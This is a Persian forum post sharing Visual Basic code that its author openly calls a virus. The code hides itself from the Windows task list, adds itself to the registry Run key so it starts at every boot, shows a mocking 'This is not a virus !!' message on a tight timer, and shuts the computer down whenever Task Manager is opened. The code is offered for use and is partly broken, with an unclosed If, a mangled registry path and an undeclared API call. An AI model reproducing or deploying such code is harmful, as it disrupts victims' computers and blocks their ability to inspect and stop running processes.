• جلوگیری از باز شدن Windows Task Manager
    #1
    Note 
    وسایل لازم: فقط یه تایمر
    [VB]
    Private Sub Form_Load ()
    App.TaskVisible = False
    timer1.interval=1
    Me.Hide
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCUR RENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
    Timer1.Interval = 1
    End Sub
    Private Sub Timer1_Timer()
    MsgBox "Dont press alt+ctrl+del", vbCritical, "This is not a virus !!"
    Dim handel As Long
    handel = FindWindow(vbNullString, "Windows Task Manager")
    If handel <> 0 Then
    Shell "shutdown -s -t 2 "
    End Sub
    [/VB]
    توضیحات:
    خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown رو اجرا میکنه؟ ممنون از دوستي كه ارسال كردن؟

    آخرین ویرایش: 11-02-2014 ساعت 17:33، توسط Stack OverFlow
    پاسخ
    ایجاد موضوع جدید   پاسخ به موضوع  

    موضوعات مرتبط با این موضوع...
    موضوع نویسنده پاسخ بازدید آخرین ارسال
    Note کد پنهان کردن برنامه از لیست پراسس های task manager SOFTAFZAR 1 852 14-08-2014 ساعت 20:32
    آخرین ارسال: vc3000

    کاربرانِ درحال بازدید از این موضوع:   1 مهمان